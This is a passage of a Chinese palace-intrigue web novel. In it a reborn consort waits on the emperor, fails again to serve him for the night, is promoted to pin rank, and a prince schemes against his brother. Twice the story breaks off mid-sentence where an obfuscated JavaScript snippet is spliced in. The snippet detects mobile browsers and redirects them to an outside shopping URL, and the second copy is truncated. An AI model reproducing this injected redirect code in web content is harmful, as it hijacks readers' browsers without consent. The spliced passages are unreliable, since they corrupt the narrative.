“陛下还不曾用过晚膳吗?”闻雪英脱口而出,江一宁含笑回道:“未曾,陛下平日忙于政务,三餐难以定时,今日传召贵人来侍寝,陛下就说晚膳与您一同用呢。” “哦,我知道了。” 江一宁说完便轻轻退了出去,闻雪英独自等了须臾,始终不见靖渊进来。她来养居殿并未带自己的侍女,一个人坐久了难免有些无聊,但这里毕竟是养居殿,她也不敢随意乱走,于是忍不住长长地叹了口气。 “好端端的,叹什么气?” 是靖渊的声音。 闻雪英心头一跳,连忙站了起来,靖渊从门口缓缓迈了进来。 “陛下万安。” 靖渊微弯腰伸手扶她起来,再度问道:“方才为什么叹气?” 见他非要问出个答案来,闻雪英只好低头回道:“回陛下,臣妾只是有些想家了。” 靖渊“唔”了一声,坐下后示意她也坐,“上次听你说,你娘去了南边?” “是,算算日子,这两天她应该已经乘船出海了。” 说到李檀,闻雪英不由有些担忧,也不知道她此行可还顺利? 靖渊见她眉头紧蹙,知她是担忧李檀,他顿了一顿道:“你娘要出海,必然要经过闽州的港口,朕提前跟闽州知府打过招呼,叫他派一队官兵全程护送你娘出海,你放心,她不会有事的。” 这事闻雪英还是第一次听说,她有些惊讶,但有官兵护送,于娘亲的安危上总是大有助益的。 心中隐隐有些感动,微微怔愣之后,闻雪英起身,盈盈行了一礼,道:“臣妾多谢陛下。” 靖渊再度伸手扶她起身,笑了笑道:“也别急着谢朕,朕这样做,也有朕的一点私心在里头。” 闻雪英神色微微一变,继而恢复如常,微笑道:“陛下的私心?” 她细微的神色变换没能逃过靖渊的双眼,靖渊用着令人安心的语气道:“你放心,朕的私心,不会对你娘有任何不利,也不会对你,或是对你们闻家不利。” 没想到自己的小小心思被看穿,闻雪英低下头,掩饰眼底的尴尬。 靖渊又道:“你若是想见见你父亲,朕可以下令让他明日去长乐宫与你相见。” 闻雪英再度愣住,抬眸呆呆地看着靖渊,属实没想到他会如此贴心,她的确想见一见父亲,然而转念一想,外臣入内宫,似乎是有些不合规矩。 面上徐徐露出感激的笑容,闻雪英起身朝他行了蹲礼,轻声道:“臣妾多谢陛下恩典,只是臣妾父亲是外男,出入后宫,于礼不合。” 靖渊笑了笑,摆一摆手无所谓地道:“他是你爹,来见女儿有什么于礼不合的,再者这后宫里除了你也就是贵妃了,你爹去长乐宫见你,完全不会经过南风殿,你只说你想不想见他吧。” 她自然是想的,可陛下不计较这些虚礼,不代表前朝那些言官不会满口酸腐之言,暗中诋毁。闻雪英咬了咬唇,低声道:“若是可以的话,请陛下恩准臣妾的母亲钱氏入宫与臣妾相见。” 谁入宫于靖渊而言都是一句话的事,既然闻雪英执意不肯坏了那莫须有的规矩,靖渊也懒得勉强她,紧接着他就唤来许公公,命他出宫传旨。 这时,江一宁进来道:“启禀陛下,晚膳已经备好了。” “饿了吧,去用膳吧。” 靖渊率先出了东室,闻雪英跟在他身后的步伐有些不宜察觉的迟缓。 她一点也不饿,来养居殿前,她已经用过晚膳了。 入宫之前以为宫中膳食皆由御膳房负责,入宫后贵妃告诉她,长乐宫里给她配了小厨房,并两名厨子,她想吃什么只让厨子去做就是。 自己宫里有小厨房的一大好处就是,她想什么时候用膳,便什么时候用膳。 随着靖桓宇到了外间膳桌旁,闻雪英原以为自己会看到满桌的山珍海味,出乎意料的是,膳桌上总共也就六个菜,且都是比较常见的菜式。 靖渊招呼她坐下,随口道:“尝尝,可还合你的口味。” 闻雪英目光略略划过桌上的六道菜,桃仁冬菇、虾仔冬笋、红烧鲤鱼、鲜蘑菜心、徽州蒸鸡、荷叶粉蒸肉,主食是一道白玉饺子,道道色香俱全,叫人看着便忍不住胃口大开,只是这些菜,都以清淡为主,不见咸辣。 她记得,郑如潇说从许望筌那打听到,靖渊喜爱咸辣吃食,可如今满桌的菜,没有一道是咸辣口味的。 闻雪英不会自以为是地认为靖渊是为了迁就她的口味而特意命人准备清淡的菜肴,即便他这么吩咐了,下头的人也断然不会连一道符合靖渊口味的菜都不上,唯一的可能就是,靖渊本身就不爱咸辣口味。 那么,郑如潇为什么要告诉她一个虚假的消息,显然是有人要算计她,只是这问题是出在许望筌那儿,还是出在郑如潇那儿? 闻雪英暗暗吸了口冷气,暗道她以后在宫中行事,要越发得小心了。 那厢靖渊也不用下人伺候,自个儿拿起筷子捧起碗已经吃了几口,偶然抬头见她只是安静坐在一旁,不动筷子,靖渊便疑惑道:“怎么,这些菜都不合你的口味?” 闻雪英将脑中的猜忌暂且放下,她连忙笑了笑,低声道:“不瞒陛下说,臣妾在来之前,已经用过晚膳了,臣妾不饿。” 靖渊微微挑眉道:“是吗,你进膳倒是挺早。” “臣妾的娘亲常常叮嘱臣妾,三餐要定时,晚膳最好在酉时五刻之前用完,太晚用膳,对身体不好。” “嗯,你娘说的很有道理。”靖渊今天胃口不错,一边听她说话一边继续进膳。 闻雪英轻轻一笑,顿了顿提醒道:“臣妾方才听江姑姑说,陛下就常常三餐不定时,长此以往,恐对龙体不利。” “嗯嗯,朕知道了。” “……”回答得未免有些太敷衍了。 闻雪英想到前世,靖渊缠绵病榻半年有余,最终死于四十一岁那年的冬日。 她不知道前世靖渊的死究竟是天意还是人为,但无论是哪种可能,她都要小心防备谨慎应对着,毕竟,靖渊活的越久,对她才越有利。 * 用完膳,江一宁带着养居殿的宫女伺候她和靖渊沐浴更衣。 到了她沐浴的时候,闻雪英忍不住设想,一会儿宫里会不会再出一件事,再次引得靖渊不得不弃她而去。 事不过三,闻雪英倒是不信自己能够连着倒霉三次。 所谓一回生两回熟,这是她第三次预备着侍寝,有了前两次的经验,这一回,她甚至都感觉不到丝毫的紧张,心底竟隐隐有些期待,既期待今晚要发生的事,也期待一会儿还有没有旁的人或事来坏她的好事。 这样想着,闻雪英在江一宁的服侍下换上寝衣,回到东室时,靖渊人还在,他正坐在床边,手上似乎又捧了一道折子在看。 不知那折子上写了什么好事,靖渊的眉梢眼角都带着笑意,听见她的脚步声见,靖渊抬起头,笑着朝她招了招手,言笑晏晏道:“过来,告诉你个好消息。” 闻雪英笑着走过去,坦然在他身边坐下,靖渊直接将折子递到她面前道:“你看看,绾灵要回来了。” 闻雪英凝神看去,见奏折上是一手漂亮豪迈的行书体,她只看了起头的几个字:征瀛大将军靖绾灵谨奏。 如今是洪庆六年三月,闻雪英在脑海里搜索一番,隐约记得,前世靖绾灵回朝已是洪庆九年六月,靖渊过寿的时候。那时,靖桓洲的身世已经大白于天下,靖渊也缠绵于病榻,国事基本上都交给了靖桓宇。 远在东边征战的靖绾灵压根不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14036914|137652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朝中出了什么事,她一回来,就发现靖桓洲被废为庶人,靖渊病重,朝政已全然在靖桓宇的掌控下。 靖绾灵不曾防备,刚一回朝,就被卸去全部兵权,靖桓宇给她安了一个隐瞒包庇,混淆皇室血脉的罪名,把她同靖桓洲一起关进了大牢。 最后靖桓宇一手策划了所谓的燕王谋反案,靖桓洲被斩,闻雪英虽不清楚靖绾灵是被如何处置,不过她的下场必定好不到哪里去。 这一世靖绾灵提前回朝,其中必定有什么隐情,闻雪英猜想,这事多半是赵又岚的手笔。 有时候,闻雪英其实很不理解赵又岚这一世的选择,她不选择靖桓宇也就罢了,但她选择靖桓洲,她明知道靖桓洲的身世是个死局,她能有什么办法将这么大个秘密永远藏匿下去。 突然间,今早被宫女打断的那个想法再度冒出了头,靖渊还在跟她说着靖绾灵有多优秀的话,闻雪英的脑海里却是翻江倒海,掀起了惊天巨浪。 难道,孙家所遭遇的这一切,都是赵又岚所为?她的目的,就是除去一切有可能说出靖桓洲身世的人。 只是在除去老周国公夫妇时她得手了,但在对付贵妃和孙家其他人时,却因为种种缘故,赵又岚屡次失手。 但是,赵又岚哪里来的人手,旁的不说,单说这两次出现在南风殿的刺客,能在禁军的眼皮底下逃窜的无影无踪,这绝非等闲之辈,或许宫中还有刺客的同伙。这样的人力,赵又岚不可能调动的了,她的外祖杨严官居鸿胪寺卿,乃是文官,杨严不敢派刺客入宫刺杀贵妃;至于赵越,因为仁献皇后的缘故,赵越若是知道了靖桓洲的身世,肯定头一个就告诉靖桓宇。 这么看来,这事又似乎不像是赵又岚所为了。 闻雪英想的头都要痛了,索性先不想了。 靖渊高兴极了,他这回没有察觉闻雪英微妙的神情变化,喋喋不休地夸赞了一通靖绾灵,闻雪英听他问:“会喝酒吗?” 闻雪英轻轻点头。 靖渊扬声道:“拿酒来。” 很快,江一宁带着其他宫女端酒进来,靖渊亲自斟了两杯杯,一杯给闻雪英,一杯给他自己。 闻雪英含笑道:“恭喜陛下,贺喜陛下,过不了多久,陛下与公主就要父女团聚了。” “喝!”靖渊满脸的笑意,仰起头一饮而尽,尤觉得不尽兴,他又给自己斟了两杯,饮水般往下灌。 不多时闻雪英就见他双眼已有些迷离了。 闻雪英忍不住提醒道:“陛下慢些喝。” 话落心里不由发笑,看来今晚到底还是有事耽搁她侍寝那。 罢了罢了,他高兴,就让他先喝个尽兴吧。 闻雪英不再劝解,又看着他两杯酒下肚,这时,江一宁突然走了进来,躬身道:“启禀陛下,外头白太妃求见,说是有要事禀报陛下。” 白太妃? 靖渊眉头一皱,眼底浮现一抹厌烦,挥手道:“有什么事让她明天再来说,朕现在不想见她。” 江一宁领命出去,半晌后又走了进来,道:“陛下,白太妃说,她要说的事,事关重大,一定要亲自告诉陛下才行。” 话落靖渊还没什么反应,闻雪英“噗嗤”一声笑了出来。 靖渊朝她看了过来,不解道:“你笑什么?” 闻雪英如实道:“臣妾只是觉得,臣妾想要侍一次寝,还真是困难重重啊!” 靖渊:“……” 她这么一说,靖渊突然也意识到了什么,顿了顿,他吩咐江一宁:“去告诉白太妃,就说朕跟闻贵人已经就寝了,她若真有要紧的事,告诉你就行,若她一定要亲口告诉朕,那就等朕和闻贵人什么时候尽兴了,什么时候再召见她。” 靖渊的声音明显带上了怒气,江一宁再度折返出去传话,再进来时,她道:“白太妃已经走了,说等明日再来求见陛下。” 靖渊冷哼一声,将酒杯重重搁在桌上,语气充斥着厌烦:“这女人真是麻烦,朕就应该将她也赐给刘显去。” 闻雪英悄悄抿一口酒下肚,察觉靖渊对白太妃似乎多有不满,也不知这白太妃,对陛下做过什么事? 42. 第 42 章 这第三回的侍寝,最终还是以失败告终。 靖渊的酒量很是一般,几杯酒下肚,他走路都有些摇摇晃晃的,闻雪英不认为这种状态下,两人还能做什么。 吩咐人将酒坛酒盏端下去,闻雪英吃力地将他扶到床上躺下,几乎是一沾床,靖渊就沉沉睡了过去。 睡梦中嘴角还止不住地上扬,呓语着:“我的女儿要回来了……” 看来公主回来,靖渊心里真是开心。 夜已深,养居殿就只有这么一个寝室,闻雪英无处可去,犹豫过后只好也合衣躺在靖渊身侧。 本以为是无眠的一夜,没想到她同靖渊一样,也是躺下就睡了过去,也许是这养居殿东室风水比较好吧,临睡之前,闻雪英迷迷糊糊地想着。 一觉醒来,天已经大亮,耳边隐隐有嗡嗡的交谈声传来。 闻雪英坐起身,发现偌大一张塌上,只剩她四仰八叉地躺在中间,靖渊原本是睡在里侧,也不知什么时候离开的,竟没有吵醒她。 心中涌过一丝奇妙的、说不清的感觉,闻雪英心下发急,扬声道:“有人吗?” 话落外头便响起了轻而有序的脚步声,须臾,几名宫女捧着衣物和洗漱用品鱼贯而入,闻雪英看着为首的江一宁,脱口道:“江姑姑,陛下呢?” 江一宁先是带着宫女们朝她行了一礼,闻雪英忙示意她们起身,睁大双眼道:“现下什么时辰了?” 靠窗的地方摆了两张椅子,椅子中间有案几,闻雪英看着案几上从窗外透进来的光线,双腿不由发虚,她这是一觉睡到太阳晒屁股了? 她心中忐忑,以至于都没有反应过来江一宁对她的称呼已经变了。 江一宁起身,含笑上前扶她下地走到一旁坐下,温言道:“陛下刚下了早朝,这会在书房和几位大臣说话呢,奴婢伺候您洗漱。” 闻雪英愣了一愣,面上渐渐浮上一层死气,她这是睡到靖渊早朝都下了?暗暗掐了掐自己的手心,闻雪英一时整个人都是恍惚的。 她心不在焉地由着她们服侍着洗漱更衣,心下尽是茫然,不知道自己这贪睡的毛病会不会给靖渊留下不好的印象。 江一宁拿起梳子替她梳着头发,轻声问道:“闻嫔娘娘,您喜欢什么样的发式?” “你随便梳一梳……”闻雪英心里正烦闷呢,哪里还在意梳什么发式,可话说到一半,她突然反应过来,江一宁在唤她闻嫔娘娘。 “闻嫔?”闻雪英倏然回头,不解地看着江一宁。 江一宁笑吟吟地道:“娘娘方才没听见吗?陛下已经下旨晋您为嫔了。” “……” 闻雪英心里一时五味杂陈,一头雾水全然不明白怎么一夜过去,自己一下子就连跳四级,成了嫔位。在靖渊的后宫,晋封这么简单的么。 她尚未侍寝,唯一一次与靖渊同塌而眠,还是睡到这个时候才醒,连伺候他更衣洗漱的事都没做过,算起来她可是什么功劳都没有,靖渊莫不是爱上她了? 这样的想法一出来,闻雪英自己就忍不住嗤笑了一声,她和靖渊见面的次数,两只手都数的过来,两人之间几乎没有怎么相处过,靖渊不可能对她有感情。 那么,这突如其来的晋封,就有些让她不安了。 * 靖渊白日忙着处理国事,闻雪英穿戴洗漱之后,离开了养居殿。 靖渊没再赐轿给她,江一宁送她到养居殿外,郑如潇、琥珀和芸儿三人在门口等着。 江一宁道:“奴婢就送娘娘到此处,娘娘回去的路上小心。” 闻雪英朝她微微颔首,搭着琥珀的手转身走开。 走了没两步,芸儿就笑嘻嘻开口:“娘娘,陛下对您可真好,一下就晋您为嫔了,奴婢真是替您高兴。” 晋位的确是一件值得高兴的事,抛开心里淡淡的不安和疑虑,内心深处,闻雪英也还是因为靖渊此举而真真切切的高兴的。 她扭头嘱咐郑如潇:“一会儿回去给他们每人一锭银子,让大家也都高兴高兴。” 郑如潇微笑应是,琥珀面色倒还如常,芸儿的嘴角都已经快要压不住了,差一点就要抱着闻雪英的手臂跳了起来。 她极力克制着激动不已的心情,颤声道:“多谢娘娘赏赐,奴婢就知道跟着您,这日子迟早是会好起来的。” 闻雪英“噗嗤”一声笑了,侧头看着她道:“你的意思是,这些日子在长乐宫,过的不好?” 若换做别的人这么问她,芸儿早就要吓得跪地求饶了,但这段日子她在长乐宫服侍闻嫔娘娘,据她观察,娘娘从来不会无缘无故地对他们这些下人发脾气,即便是有人不小心犯了错,娘娘顶多不轻不重地斥责两句,从不重罚。 长乐宫里也就一个许高义被掌掴了二十巴掌,不过那是因为许高义口无遮拦说错了话,该罚。 这宫里的宫女太监,几乎都是李朝时期便入宫伺候的了,芸儿也不例外。 李朝明德帝时期,那是所有宫人的噩梦,明德帝喜怒无常,性情暴虐,随意砍杀宫人那都是常事。许是受他的影响,明德帝的后妃们也个个不是好相与的主,至今在寿康宫伺候那些太妃的宫女太监们,也还都生活在水深火热中。 如今的陛下下令,不许随意打杀宫人,但不代表没有宫人饱受折磨。 相比之下,能遇上一个像闻嫔娘娘这样的主子,那真是他们几辈子修来的福分。 芸儿知道闻雪英在与她玩笑,她也就笑着回话:“好,都好,只是跟着娘娘,咱们的日子一定会一日好过一日的。” 闻雪英淡淡一笑,道:“希望今后的日子能如你所言。” 话音刚落,耳边乍然响起一道熟悉的声音:“闻嫔娘娘。” 闻雪英脚下一滞,目光寻着声音望去。 靖桓宇在前头不远处站着,正含笑看着她。 闻雪英顿觉头皮发麻,脊背上的冷汗顷刻间渗出。 靖桓宇朝她走近两步,规规矩矩地拱手作揖:“见过闻嫔娘娘。” 看着他低下去的头颅,闻雪英反应过来,她与他如今已是身份悬殊,她可以恨他,却不该再怕他。 强迫自己冷静下来,闻雪英尽量避免与他眼神对视,却又装出一副压抑心中激荡的模样道:“魏王殿下免礼。” 靖桓宇直起身,目光落在她脸上,见她面色红润,颜若绯云,他眼底划过一抹叫人不宜察觉的黯然。 察觉他的视线一直在自己脸上,闻雪英极不自在,她轻咳一声,缓缓道:“魏王殿下怎会在此?” 这里已是后宫地界,他一个已经成年开府的皇子,还能随意出入吗? 靖桓宇微笑道:“我打算去南风殿看看孙母妃去,闻嫔娘娘要去给孙母妃请安吗?” 他说着往一旁挪了一步,道:“闻嫔娘娘先请。” 闻雪英不动声色地摇了摇头,她是该去南风殿请安,不过绝不是现在。“魏王殿下先去吧,贵妃娘娘说,我不必日日去向她请安,正好今日我感到有些疲累,明日再去探望贵妃娘娘。” 靖桓宇微微点了点头,关切道:“闻嫔娘娘要注意身体。” 这时,身后的郑如潇突然小声提醒她:“娘娘,按照宫中规矩,嫔妃侍寝的次日,是要去中宫请安的。” 闻雪英听她此时开口,眉头不由一蹙。 再看向靖桓宇时,他脸上似乎有不甘与愤怒一闪而过,这里人来人往,闻雪英不想与他多相处一刻,朝着靖桓宇微微颔首,笑道:“魏王殿下请便,本宫先走一步。” 话落她便抬步越过靖桓宇,头也不回地走了。 她走了,靖桓宇却还在原地一动不动地站着,来往的宫人见他立在这,脸色还很难看,纷纷隔着老远行礼,随即匆匆走开。 也不知过了许久,靖桓宇突然冷笑一声,紧握的五指咯咯作响。 千防万防,父皇还是宠幸她了,父皇还晋她为嫔,看来是很喜欢她了。 白太妃,真是个废物。 站了片刻,靖桓宇也准备离开,刚一动,有人笑着唤他:“桓宇,等等。” 是靖桓洲的声音。 靖桓宇回头,看着一身雪白的靖桓洲朝他飘了过来,他收敛神情,面上露出几分笑来,恭敬地道:“皇兄。” 靖桓洲也笑着,他上前一把搂住靖桓宇,道:“你也要去给姨母请安吗?” “是,有些日子没入宫看孙母妃了。” 靖桓洲亲切地道:“那正好,咱们兄弟两一起去。” 靖桓宇含笑应是,可那笑意却不达眼底,靖桓洲一无所觉,朝着自己的弟弟吐露对孙贵妃的担忧:“听父皇说,前天晚上姨母的南风殿又出现了刺客,也不知道她有没有受到惊吓。” 靖桓宇道:“孙母妃遇事沉稳,想必是不会的。” “可她毕竟是个女孩子,遇到刺客这种事,姨母心里定然还是怕的。” 靖桓宇暗暗翻了个白眼,缓缓道:“那我们赶紧去看她吧。” 看完了出宫各自回府,他实在不想和这个与他没有半分血缘关系的皇兄多说一个字,光是和他站在一起,靖桓宇就感到自己浑身不适,然而靖桓洲难得与靖桓宇私下见上一面,他心里总还有话要与他分享。 “桓宇,今日早朝的时候,父皇下令让我送明日开始到户部当差,跟着户部的官员历练历练。” 靖桓宇皮笑肉不笑地“嗯”了一声,牙根几乎都要咬碎了:“今日早朝的时候,我也在,这是好事,皇兄怎么瞧着不大开心?” 一提到此事,靖桓宇胸口的怒火便蹭蹭而上,父皇第一次给他们兄弟两分派差事,可这差事却是千差万别,靖桓宇可以到户部,接触各省的赋税财政,而他就只能到礼部去,学习那没什么用的礼仪章程,父皇偏心的实在太过明显。 偏偏靖桓洲此时还来向他炫耀,“桓宇,我于财政方面,实在是一窍不通,我真怕让父皇失望,你说我要不要去向父皇请罪,让他给我重新安排个差事?” “……” 无论靖桓洲此刻说这话的初衷是什么,在靖桓宇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这个问题问出,靖桓宇没有立即回话,他有片刻的沉默,靖桓宇扭头朝他看去,见他眉梢眼角,都是浅浅的笑意,靖桓宇轻笑一声,道:“皇兄果然喜欢那赵又岚。” 被自己的弟弟戳破心事,靖桓洲面颊浮现一丝尴尬,他垂眸,缓缓道:“赵姑娘,挺有意思。” 靖桓宇似笑非笑地看着他,道:“选秀结束也有些日子了,我估摸着用不了半个月,父皇就要下旨为我们赐婚了,皇兄不如去跟孙母妃说一声,省得父皇赐婚时不小心棒打鸳鸯了。” 靖桓洲挠了挠头,不好意思地道:“我已经跟孙母妃说过了。” “原来如此。” 顿了一顿,靖桓宇突然推开靖桓洲搭在他肩头的手臂,回头朝着靖桓洲抱拳躬身,低声道:“对了,一直想向皇兄请罪,奈何自亳州回京之后事务繁忙,没顾得上。” 靖桓洲不解道:“请什么罪?” “父皇派我去亳州查探老周国公夫妇不幸离世一事,是臣弟无能,迟迟未能将杀害周国公夫妇的罪魁祸首捉拿归案。” “原来是这事。”靖桓洲扶一扶他的胳膊,和声道:“那是那贼子狡诈,与你有何干系?” 靖桓洲推着靖桓宇转了个向,两人接着走路,他边走边道:“纸包不住火,这世上也没有不透风的墙,我相信总有一日,杀害我外祖父母的凶手,会被捉拿归案的。” 靖桓宇附和道:“皇兄说的是……不过皇兄,若是那人有朝一日被抓住了,皇兄打算怎么做?” 一向良善醇厚,对人始终笑脸相迎的靖桓洲,眉目间第一次露出一抹厉色来:“杀人偿命,自是天经地义。” 靖桓宇低下了头,眼底划过一抹幸灾乐祸。要是靖桓洲知道老周国公夫妇的死是赵又岚一手造成的,不知道他脸上会是何种表情,他已经有些迫不及地想要看看了。 他没想到,赵又岚会是那件事的幕后主使,要不是她也派出了人去找孙贵妃年轻时的情郎,他估计还很难查到这件事。 隐藏在黑暗里的东西一旦被撕开一道口子,重见天日便是顷刻之间的事情。 当常立告诉他,寻找孙贵妃情郎的另一队人马是出自杨家时,靖桓宇一下就想到了赵又岚。 孙家老宅里那些死去的人,经仵作查验他们都是先中毒而亡,再被大火肆虐,仵作即便是剖腹验尸,也还是未能查到他们是中了什么毒,由此可见,那毒或许不是中原常见之物。 如今和赵又岚,和杨家扯上关系,靖桓宇也就想起了,杨严的小儿子,似乎就是一个江湖游医,手上拥有各种奇奇怪怪的药,有治病救人的,也有毒人性命。 若说谁手上有能让仵作无法分辨的毒药,除了杨严的小儿子,靖桓宇想不到第二个人。 那么,赵又岚为什么要这么做呢? 靖桓宇再让人去打听赵又岚近半年来的行为举止,无一不说赵又岚像是变了一个人,没有人比靖桓宇更清楚,这意味着什么。